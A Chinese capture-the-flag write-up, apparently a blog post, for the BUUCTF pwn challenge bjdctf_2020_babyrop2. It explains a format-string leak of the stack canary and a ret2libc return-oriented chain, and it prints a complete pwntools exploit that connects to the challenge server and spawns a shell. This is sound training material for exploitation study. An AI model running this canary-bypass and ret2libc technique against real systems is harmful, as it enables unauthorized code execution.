[BUUCTF]PWN——bjdctf_2020_babyrop2

bjdctf_2020_babyrop2

附件

步骤:

  1. 例行检查,64位程序,开启了NX和canary保护

在这里插入图片描述
2. 试运行一下程序,看看大概的情况 提示我们去泄露libc
在这里插入图片描述
3. 64位ida载入,从main函数开始看程序
在这里插入图片描述
init
在这里插入图片描述
gift
在这里插入图片描述
第9行的printf函数存在格式化字符串漏洞,可以利用这点去泄露canary的值

vuln
在这里插入图片描述
buf参数存在溢出漏洞,只要绕过了canary就能够利用ret2libc的方法获取shell

利用思路:

  1. 利用格式化字符串泄露出canary的值
  2. 利用溢出漏洞,将canary的值填入绕过canary检测,利用ret2libc的方法获取shell

利用过程:

  1. 泄露canary的值
    首先找一下输入点参数在栈上的相对位置(找偏移量),之前我都是输入aaa %08x %08x……%08x这样的字符串去找偏移的,这次不可以,换了一种方法,输入%n$p,n是偏移量,配上%$p就能定位到偏移量处,输出该位置上的内容,%p是以16进制输出
    最后找到偏移量是6
    在这里插入图片描述
    找个nop指令,给程序下个断点,看一下程序里栈的情况
    在这里插入图片描述
    可以看到在我们6161的下一行,有一串16进制数,这个就是canary的值,我们只要利用%7$p就能泄露出它的值,而且也看到了它在栈上的位置是0x20-8=0x18
payload = '%7$p'
r.sendline(payload)
r.recvuntil('0x')
canary = int(p.recv(16),16)
  1. 利用ret2libc的方式获取shell
    这边打算利用puts函数来泄露libc,puts函数只有一个参数,64位传参,只要借用一个rdi寄存器即可,找一下设置rdi寄存器指令的地址
    在这里插入图片描述
    pop_rdi=0x400993
    之后构造常用的泄露libc的payload
payload = 'a'*(0x20-8)+p64(canary) #填上cancry
payload += p64(0)                  #覆盖ebp,尝试写入了‘bbbbbbbb’来覆盖,但是在构造rop攻击获取shell的时候这样写不成功,改成了随意写一个数据覆盖可以成功
payload += p64(pop_rdi)            #设置rdi寄存器的值
payload += p64(puts_got)           #将rdi寄存器设置成了puts函数的got表地址
payload += p64(puts_plt)           #调用puts函数,去输出puts函数的got表地址
payload += p64(vuln_addr)          #程序跳转到vuln函数,继续控制,再次利用输入点的溢出漏洞

r.recvuntil('story!\n')
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)

之后就是计算system函数和bin/sh字符串的地址

libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh')

构造rop攻击获取shell

payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr)

r.sendline(payload)

完整的exp:

from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',26842)
elf=ELF('./bjdctf_2020_babyrop2')
context.log_level = 'debug'

#p.recv()
payload = '%7$p'
r.sendline(payload)
r.recvuntil('0x')
cancry = int(r.recv(16),16)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400993
main_addr = elf.symbols['main']
vuln_addr = 0x0400887


payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)

r.recvuntil('story!\n')
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh')

r.recvuntil('story!\n')

payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr)

r.sendline(payload)
r.interactive()

在这里插入图片描述

  • 9
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值